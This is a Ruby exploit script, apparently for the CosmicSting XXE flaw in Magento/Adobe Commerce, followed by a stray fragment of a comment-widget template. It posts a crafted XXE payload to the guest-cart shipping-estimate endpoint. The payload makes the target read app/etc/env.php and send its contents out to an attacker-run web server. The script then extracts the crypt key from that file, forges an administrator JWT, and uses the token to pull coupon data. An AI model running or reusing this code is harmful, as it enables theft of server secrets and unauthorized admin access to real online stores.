#!/usr/bin/env ruby -W0 require 'bundler' Bundler.require(:default) DEBUG = false USE_PROXY = false PROXY_ADDR = '127.0.0.1' PROXY_PORT = 8080 def debug(msg) puts msg.inspect if DEBUG end def rand_text(length = 8) # random string generator o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten (0...length).map { o[rand(o.length)] }.join end def dtd_param_name @dtd_param_name ||= rand_text() end def ent_eval @ent_eval ||= rand_text() end def leak_param_name @leak_param_name ||= rand_text() end def remote_addr @remote_addr ||= "http://#{@srv_host.host}:#{@srv_host.port}" end def http @http ||= begin http = if USE_PROXY Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT) else Net::HTTP.new(@target_uri.host, @target_uri.port) end if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*}) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE end http.set_debug_output($stderr) if DEBUG http end end def make_xxe_dtd filter_path = 'php://filter/convert.base64-encode/resource=../app/etc/env.php' ent_file = rand_text() %( <!ENTITY % #{ent_file} SYSTEM "#{filter_path}"> <!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{remote_addr}/?#{leak_param_name}=%#{ent_file};'>"> ) end def xxe_xml_data() param_entity_name = rand_text() xml = "<?xml version='1.0' ?>" xml += "<!DOCTYPE #{rand_text()}" xml += '[' xml += " <!ELEMENT #{rand_text()} ANY >" xml += " <!ENTITY % #{param_entity_name} SYSTEM '#{remote_addr}/#{rand_text}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; " xml += ']' xml += "> <r>&#{ent_eval};</r>" xml end LIBXML_NOENT = 2 LIBXML_PARSEHUGE = 524288 def xxe_request() debug('Sending XXE request') signature = rand_text().capitalize post_data = { "address": { "#{signature}": rand_text(), "totalsCollector": { "collectorList": { "totalCollector": { "\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": { "data": xxe_xml_data(), "options": LIBXML_NOENT|LIBXML_PARSEHUGE } } } } } }.to_json req = Net::HTTP::Post.new('/rest/V1/guest-carts/1/estimate-shipping-methods') req.body = post_data req.content_type = 'application/json' # req.user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)' res = http.request(req) raise RuntimeError, "Server returned unexpected response" unless res&.code == '400' body = JSON.parse(res.body) raise RuntimeError, "Server returned unexpected response" unless body['parameters']['fieldName'] == signature end TARGET_USER_ID = 1 USER_TYPE_INTEGRATION = 1; USER_TYPE_ADMIN = 2; USER_TYPE_CUSTOMER = 3; USER_TYPE_GUEST = 4; def jwt_encode(key, algorithm = 'HS256') def pad_key(key, total_length, pad_char) left_padding = (total_length - key.length) / 2 right_padding = total_length - key.length - left_padding pad_char * left_padding + key + pad_char * right_padding end header = { kid: "1", alg: "HS256" } payload = { uid: TARGET_USER_ID, utypid: USER_TYPE_ADMIN, iat: Time.now.to_i, # Token issue time', exp: Time.now.to_i + 10 * 24 * 60 * 60, # Token expiration time } def base64_url_encode(str) Base64.urlsafe_encode64(str).tr('=', '') end padded_key = pad_key(key, 2048, '&') encoded_header = base64_url_encode(header.to_json) encoded_payload = base64_url_encode(payload.to_json) # Create the signature data = "#{encoded_header}.#{encoded_payload}" signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), padded_key, data) encoded_signature = base64_url_encode(signature) # Combine the header, payload, and signature to form the JWT "#{encoded_header}.#{encoded_payload}.#{encoded_signature}" end def exploit() begin puts "Starting web server..." body = make_xxe_dtd() file_content = nil file_content_reader, file_content_writer = IO.pipe WEBrick::HTTPRequest.const_set("MAX_URI_LENGTH", 10240) wbserver_options = { :BindAddress => '0.0.0.0', :Port => @srv_host.port, :Logger => WEBrick::Log.new($stderr, WEBrick::Log::DEBUG), :AccessLog => [], # :RequestTimeout => 300, # Increase request timeout # :RequestMaxUriLength => 100240 # Increase max URI length } wbserver_options[:Logger] = WEBrick::Log.new("/dev/null") unless DEBUG pid = Process.fork do file_content_reader.close server = WEBrick::HTTPServer.new(wbserver_options) server.mount_proc '/' do |req, res| if req.path =~ /\.dtd$/ res.body = body elsif req.query_string.match(/#{leak_param_name}=(.*)/) file_content = Base64.decode64(Regexp.last_match(1)) # puts "Received leaked file content:\n#{file_content}" file_content_writer.puts file_content else res.body = 'OK' end end trap("INT") do server.shutdown file_content_writer.close end server.start end sleep(1) xxe_request() file_content_writer.close begin # Set a timeout for reading from the pipe Timeout.timeout(5) do # 5 seconds timeout, adjust as necessary file_content = file_content_reader.read_nonblock(10000) # Adjust the size as necessary end rescue Timeout::Error puts "Reading from pipe timed out." rescue EOFError puts "End of file reached." ensure file_content_reader.close end # Use file_content as needed here if file_content # puts "Successfully read file content:\n#{file_content}" key = file_content.match(/'key' => '(.*)'/)[1] if key debug "Found key: #{key}" jwt = jwt_encode(key) puts "Generated JWT: #{jwt}" puts("Sending request with JWT to coupons endpoint") # Perform authenticated request to a admin endpoint res = http.request(Net::HTTP::Get.new('/rest/default/V1/coupons/search?searchCriteria=', {'Authorization' => "Bearer #{jwt}"})) raise RuntimeError, "Server returned unexpected response" unless res&.code == '200' puts "Available coupons:" puts JSON.pretty_generate(JSON.parse(res.body)) else puts "Failed to extract key from file content." end else puts "Failed to read file content or content is empty." end puts "Exploit completed" rescue RuntimeError => e puts "#{e.class} - #{e.message}" ensure if pid Process.kill("INT", pid) Process.wait(pid) end end end if __FILE__ == $0 @target_uri = URI.parse(ARGV[0]) @srv_host = URI.parse(ARGV[1]) exploit() end
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |